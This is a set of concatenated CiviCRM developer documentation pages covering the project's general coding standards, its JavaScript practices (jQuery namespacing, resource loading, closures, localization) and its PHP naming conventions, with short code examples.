4. Whenever possible rely on the `CiviMix\AutomaticUpgrader` to install & uninstall tables without writing any sql.
Further documentation is found in the [CiviCRM Entities](../framework/entities/index.md) chapter.
\ No newline at end of file
# Coding standards
The coding standards described here have been written
[years after the start of the project](http://civicrm.org/blogs/eileen/you-owe-me-3-tests-function-kitchen-sink).
They describe the most common patterns and best practices for writing
CiviCRM code, and they seek to answer the question, "what is the proper
way of doing X?" They cover not only whitespace and appropriate styles
for writing the code itself but also how to document code at file,
function, line and other levels.
Developers are encouraged to take these standards as an expression of
"what we want" more than of "what we have everywhere." This means that
if you find yourself working on a piece of code that doesn't follow
these standards, you are encouraged to re-factor it so that it is.
The [CiviCRM Mattermost chat](https://chat.civicrm.org) is a good place to come if you have questions or need clarification.
Quite a few blog posts have been written over the years in the
[architecture series](http://civicrm.org/category/civicrm-blog-categories/architecture-series) the
oldest one describing the DAO BAO/ Templating and file structures should
still be on your must read list. Eileen's [post from July 2013](https://civicrm.org/blog/eileen/doing-the-dishes-aka-code-cleanup) is also a
keeper. Please refer to it as a good overview of how to do things in a
standards-compliant way 4.3+.
## CiviCRM vs Drupal
In general, CiviCRM follows the [Drupal Coding Standards](https://www.drupal.org/docs/develop/standards), but we have some minor modifications which are noted specifically in the other pages in this chapter.
## Continuous integration
[Jenkins](../tools/jenkins.md) will automatically check all pull requests for coding standards conformance, and code which does not meet the standards will not be merged.
## Tools
If you have a development site with [buildkit](../tools/buildkit.md) you can use [Civilint](../tools/civilint.md) to check your code against CiviCRM's coding standards.
You can also [set up your IDE](../tools/phpstorm.md) to lint your code.
## Improving code conformance
If you find code that is not meeting the standards, we encourage you to improve it! But please follow these guidelines when doing so:
* Isolate your coding standards improvements into commits which do not contain otherwise unrelated changes.
### Orange Light code
Orange light code is code that has the feel that it is wrong and should be refactored. Developers who are looking to contribute to this effort may want to consider doing any amount self-contained work on the following code.
* Using joins on `civicrm_option_value` rather than using PseudoConstants - this has performance implications
* Removing as much as possible passing by reference to functions.
* Increasing code complexity, this has two issues firstly it increase the fragility of the code and also makes it harder to test
* Wherever `$session = CRM_Core_Session(); $userid = $session->get('UserID');` or very similar these calls should be replaced with `CRM_Core_Session::singleton()->getLoggedInContactID();`
* Replace `CRM_Core_Resources->singleton()->add...` and similar with `Civi::resources()->add...`
* Clean up messy code, see if code can be refactored and/or moved into parent classes. Make parent classes more generic and eliminate any duplicate code.
* Increase the usage of Doc blocks to help with auto generation of code
* Move more business logic out of the Forms/API layers to the BAO level wherever possible.
* Remove eval() instances
* Develop & confirm standards listed above (incl decide on smarty coding templates, separation of tpl and js)
* Cleanup and centralize the token code.
* Code duplication should be addressed - e.g the introduction of a select function in CRM/Report/Form.php around 3.3 made identical functions in child classes obsolete. This is a good task for someone wanting to learn
* Look at repurposing the coder module to keep CiviCRM tidy
* Git rid of unused functions
* Look through the "todo" "fixme" and "hack" comments and see about fixing them
* Modify code to use the Drupal coding standard of using the PHP keyword const in place of define();
In CiviCRM we aim to compile SQL in the following order of preference
1. API - Predictable, well tested
3. DAO / BAO - `CRM_Core_DAO()->fetch()` `CRM_Core_DAO->copyValues()`
2. `CRM_Utils_Select`
4. Compiled SQL
In CiviCRM we aim to use the APIs as much as possible as they have a solid test framework and a test contract behind them. This means if something is tested through the phpunit tests then it is on CiviCRM's responsiblity to ensure that does not break.
### Deprecation Warnings
The guideline for deprecated functions and practices is to mark them in the code by using one of two functions:
1. CRM_Core_Error::deprecatedWarning(string $message)
* A general function for announcing deprecated code practices.
2. CRM_Core_Error::deprecatedFunctionWarning(string $newMethod, string $oldMethod = NULL)
* A more specific function when one function is now replaced by another. Most of the time you just need to give the new replacement method to use and it will output a meaningful and consistent message.
Then after at least 6 months worth of releases the deprecated code becomes a candidate for complete removal.
# Javascript Reference
## Policy
### Coding standards
Javascript code should follow the same standards as CiviCRM's [PHP coding standards](/standards/php.md). You can use inline tools like [JSHint](http://jshint.com/) to help with the linting of javascript files. If you have buildkit installed JSHint is included as part of [CiviLint](../tools/civilint.md). Adding hints to your code will enable jshint to check the standards: e.g.
Example to tell JSHint Tell jsHint about any globals in use:
```javascript
/*global CRM, ts */
```
!!!note "JavaScript Standard"
The ES6(2015) standard was adopted as supported for Javascript and it is no longer expected that we support Microsoft Internet Explorer (since that product is no longer supported).
### Globals
Declaring a global variable/function is a bad practice in Javascript unless absolutely necessary. Your code should never create globals. In the rare cases that you need to declare variables or functions outside the local scope of your closure, create a namespace within the CRM object
```javascript
CRM.myStuff = {foo: 'bar'};
```
!!! note
Due to legacy code written before these standards were adopted, CiviCRM still has quite a few other global variables and functions, they all need to be removed from the global scope. You can help!
CiviCRM Provides two Javascript globals:
* `CRM` - Contains all globally needed variables and functions for CiviCRM. Also contains server-side variables and translations.
* `ts` - Function for translating strings. Signature is identical to its php counterpart.
### Location
Javascript code should only really be found in three main locations
1. Inline scripts should be included in smarty .tpl template files. This should only be done where its limited to a specific page or form. Inline js must be enclosed in smarty `{literal}` tags.
2. For any Javascript that acts as utility function, the files should go in the `js/` folder of the `civicrm-core` repo.
3. AngularJS code that should go in the `ang/` folder.
### Progressive Enhancement
Progressive Enhancement (PE) is a philosophy that the basic functionality of a webpage should not depend on javascript and the site should still be usable if the user has disabled js in their browser. CiviCRM has a 2-part policy regarding this:
* Front-facing pages like contribution pages and event signups should adhere to the standards of PE. All front-end pages should be fully functional with js disabled.
* Back-end pages (which is most of CiviCRM) do not need to be able to run without javascript. When appropriate, a noscript message can be shown to the user e.g. `<noscript>CiviCRM requires javascript. Please enable javascript in your browser and refresh the page.</noscript>`
## jQuery
CiviCRM includes the latest version of jQuery and a number of jQuery plugins. Because most CMSs also use jQuery, CiviCRM creates its own namespace using the `jQuery.noConflict` method.
As a result, under most circumstances there are two versions of jQuery on the page with the following names:
* `CRM.$` - the version of jQuery included with CiviCRM.
* `jQuery` - the version of jQuery included with the CMS.
If your script is placed anywhere in the document body, you should access CiviCRM's jQuery using `CRM.$`.
Exception: CiviCRM reserves a space in the document header where `CRM.$ == jQuery` (and the CMSs version has been temporarily renamed `_jQuery`). This allows us to load 3rd party plugins that depend on the name jQuery. You can do so as well by using `CRM_Core_Resources`. See below.
Note: Some CMSs do not add jQuery to the page, in which case the global jQuery would not exist (except within the header as noted above). Don't rely on it.
Note: Yes, 2 copies of jQuery on the same page is inefficient. There is a solution for Drupal 7 to combine them: [civi_jquery](https://www.drupal.org/project/civi_jquery).
## Adding Javascript Files
CiviCRM contains a Resource controller which allows extensions to add in .js files into pages and forms as is needed. This can also be done through any hook implementation as well.
An Example of adding in a file called bar.js from the extension com.example.foo
```php
Civi::resources()->addScriptFile('com.example.foo', 'bar.js');
```
You can also use CRM_Core_Resources to add in inline scripts such as the following
```php
Civi::resources()->addScript('alert("hello");');
```
You can also specify other regions of the page to place the script in (the most common reason for this is because jQuery plugins must be added to the "html-header" region). See [Resource Reference](../framework/resources.md) for more details.
## Using CiviCRM Javascript in non CiviCRM pages
If you are working outside the context of CiviCRM pages (e.g. on a Drupal page, WordPress widget, Joomla page, etc) you need to explicitly tell CiviCRM to load its javascript in to the page header. You can add your own scripts as well.
```php
civicrm_initialize();
$manager = Civi::resources();
$manager->addCoreResources();
$manager->addScriptUrl(WP_PLUGIN_URL . '/myplugin/myscript.js', 1, 'html-header');
```
Note when your using CiviCRM's resource manager to add scripts to non civicrm pages they need to be put as region 'html-header' because CiviCRM has no control over any of the other regions in non-civicrm pages.
## Enclosing your code
In Javacript all code needs to be closures to create the variable scope. Without closures, all variables would be global and there would be a significant risk of name collisions.
The simplest closure you could write would be:
```javascript
CRM.$(function($) {
// your code here
});
```
Remember that `CRM.$` is our alias of jQuery. So the first line is shorthand notation for `CRM.$('document').ready(function($) {`
The function receives jQuery as it's param, so now we have access to jQuery as the familiar `$` for use in our code.
If your code needs to work across multiple versions of CiviCRM, where jQuery was the older cj as well as the current CRM.$ you can use:
```javascript
(function($) {
// your code here
})(CRM.$ || cj);
```
For more examples you can take a look at a [gist](https://gist.github.com/totten/9591b10d4bc09c78108d) from Tim Otten on javascript alternatives. For more information on javascript closures, [here is some further reading](http://www.adequatelygood.com/2010/3/JavaScript-Module-Pattern-In-Depth).
## Accessing CiviCRM API from JS
If the current user has sufficient permissions (usually "Access CiviCRM") then your script can call the api and accomplish almost anything in CiviCRM. The syntax is:
```javascript
CRM.api('entity', 'action', {params}, {success: function});
```
For more details, see [AJAX API](../api/v3/interfaces.md#ajax-interface) docs.
## Server-Side Variables
Just as you can dynamically add scripts to the page you can also add variables. They will be added to the CRM object in JSON format. Because this object is shared by many CiviCRM components, you should choose a unique namespace (typically the name of your extension). Example:
```php
// On the Server:
Civi::resources()->addVars('myNamespace', array('foo' => 'bar'));
```
```javascript
// In the JS file or inline script
CRM.alert(CRM.vars.myNamespace.foo); // Alerts "bar"
```
## Localization
As with PHP coding, any string that will be displayed to the user should be wrapped in `ts()` to translate the string. e.g. `ts('hello')`.
When your script file is being added to the page by `CRM_Core_Resources` it will be automatically scanned for all strings enclosed in `ts()` and their translations will be added as client-side variables. The javascript `ts()` function will use these localized strings. It can also perform variable substitution. See example below.
!!! note
Because translated strings are added to the client-side by `CRM_Core_Resources::addScriptFile` method, they will not be automatically added if you include your js on the page any other way. The `ts()` function will still work and perform variable substitution, but the localized string will not be available. There are 3 solutions to this problem depending on your context:
1. If this is an inline script in a smarty template, use the `{ts}` function (see legacy issues below for an example). Note that `{ts}` cannot handle client-side variable substitution, only server-side template variables.
2. If this is an inline script in a php file, use the php `ts()` function to do your translation and concatenate the result into your script. Or, if you need client-side variable substitution use the 3rd solution:
3. If this is a javascript file being added to the page in a nonstandard way (or is one of the above two scenarios but you need client-side variable substitution), you could manually add any needed strings using the `CRM_Core_Resources::addString` method
## UI Elements
CiviCRM ships with a number of UI widgets and plugins to create standardized "look and feel" More information can be found in [UI Elements Reference](../framework/ui.md).
## Automated testing
CiviCRM's testing regimen includes:
* (Linting) [JSHint](#coding-standards)
* (Unit testing) [Karma and Jasmine](../testing/karma.md)
<!-- * (End-to-end testing, for AngularJS) [Protractor and Jasmine](/testing/protractor.md) -->
* (Deprecated; end-to-end testing) [QUnit](../testing/qunit.md)
## Javascript in Markup
Putting javascript code directly into html tags is deprecated. We are migrating our existing code away from this practice.
```html
<a href="#" onclick="someGlobalFunction(); return false;">Click Here</a>
<script type="text/javascript">
function someGlobalFunction() {
// code goes here
}
</script>
```
The above example has several disadvantages:
- It relies on a global function.
- It doesn't allow for separation of concerns between the presentation layer (html) and the business logic (js code).
```js
CRM.$(function($) {
$('a.my-selector').on('click', function() {
// code goes here
});
});
```
!!! note
Sometimes you want to add a handler to an element that does not exist yet in the markup (or might be replaced), like each row in a datatable. For that use the delegation provided by jQuery's "on" method and attach the handler to some outer container that is going to be there more permanently.
## ClientSide MVC
In the past, PHP-based webapps like CiviCRM have treated javascript as little more than an extension of css. But increasingly they are realizing the potential of Javascript to handle business logic. Javascript can be used to create robust, responsive, user-friendly webapps. But with this complexity comes the need for structure. While CiviCRM has not officially adopted a clientside MVC framework, version 4.3 includes a new UI for editing profiles which was built using Underscore, Backbone and Marionette. And 4.5 includes a new case-configuration interface built on Angular. In 4.6 CiviMail User Interface was re-written in Angular.
More detail can be found in the [Angular reference documents](../framework/angular/index.md)
# PHP Coding Standards
CiviCRM uses the [Drupal Coding Standards](https://www.drupal.org/docs/develop/standards) as a basis for the coding standards used in civicrm-core code and in civicrm-drupal code.
The standards are version-independent and all new code should follow the current standards regardless of version.
## Brief example
```php
/**
* The example class demonstrates Drupal/Civi code convention.
*/
class CRM_Coding_Example implements CRM_Coding_ExampleInterface {
/**
* Increase the size of a file exponentially.
*
* @param string $file
* The full file path. (Ex: '/tmp/myfile.txt')
* @param int $power
* The number of times to double the size.
* @return bool
* Whether the operation succeeded.
*/
public function expandFile(string $file, int $power): bool {
// Comments start with a capital letter and end with punctuation.
$keyValuePairs = [
'first' => 1,
'second' => 2,
];
if ($power < 4) {
echo ts('You got it, boss.');
}
else {
echo ts("Whoa, that's gonna be a big file!");
}
for ($i = 0; $i < $power; $i++) {
$oldContent = file_get_contents($file);
if (file_put_contents($file, $oldContent . $oldContent) === FALSE) {
return FALSE;
}
}
return TRUE;
}
}
```
For more details, see [the full series of example snippets](https://www.drupal.org/docs/develop/standards/coding-standards) from `drupal.org`.
## Deviations from the Drupal Coding Standards {:#vs-drupal}
There are two deviations from the Drupal Coding standards that apply in CiviCRM.
### Functions and variable names
**Drupal Standard**
> Functions and variables should be named using lowercase, and words should be separated with an underscore.
**CiviCRM Standard**
For existing code/files/functions, err on the side of preserving compatibility.
For new procedural code (eg `api/v3/*.php`), use lowercase and underscores.
For new object-oriented code:
1. For DAO properties, use underscores. (These correspond to the DB schema - which uses underscores.)
2. For everything else, use camelCase. [See Forum Discussion](http://forum.civicrm.org/index.php/topic,35519.0.html)
**Rationale for Change**
The codebase includes many examples of both "lowerCamelCase" and "snake_case" for function and variable names. Changing these can be quite difficult and can break interfaces consumed by downstream.
### Classes and interfaces
**Drupal Standard**
> Classes and interfaces in Drupal take one of two forms:
>
> * (Common in Drupal 7) Place classes in the root/global namespace and use "UpperCamel" names (e.g. `FooBarWhiz`)
> * (Common in Drupal 8) Place classes in the "Drupal\" namespace using PHP 5.3 conventions (e.g. `Drupal\Foo\BarWhiz`)
**CiviCRM Standard**
Classes and interfaces in Civi take one of two forms:
* For the `CRM_` namespace, follow the PEAR convention (using underscores for pseudo-namespaces; e.g. `CRM_Foo_BarWhiz`).
* For the `Civi\` namespace, follow the PHP 5.3 convention (using backslashes for namespaces; e.g. `Civi\Foo\BarWhiz`).
**Rationale for Change**
Changing these can be quite difficult and can break interfaces consumed by downstream. For more discussion of `CRM_` and `Civi\`, see [The Codebase](../framework/filesystem.md).
## Localization
Any string that will be displayed to the user should be wrapped in `ts()` to translate the string:
```php
$string = ts("Hello, world!");
```
Translation strings can also include placeholders for variables:
```php
$string = ts("Membership for %1 has been updated. The membership End Date is %2.", array(
1 => $userDisplayName,
2 => $endDate,
));
```
For more information on translation, see [Translation for Developers](../translation/index.md).
## Scope
The CiviCRM Coding Standard for PHP Code and Inline Documentation applies to all PHP code in the CiviCRM code base, except files under the following directories:
1. `packages/`
1. `packages.orig/`
1. `tools/`
1. `joomla/`
1. `WordPress/`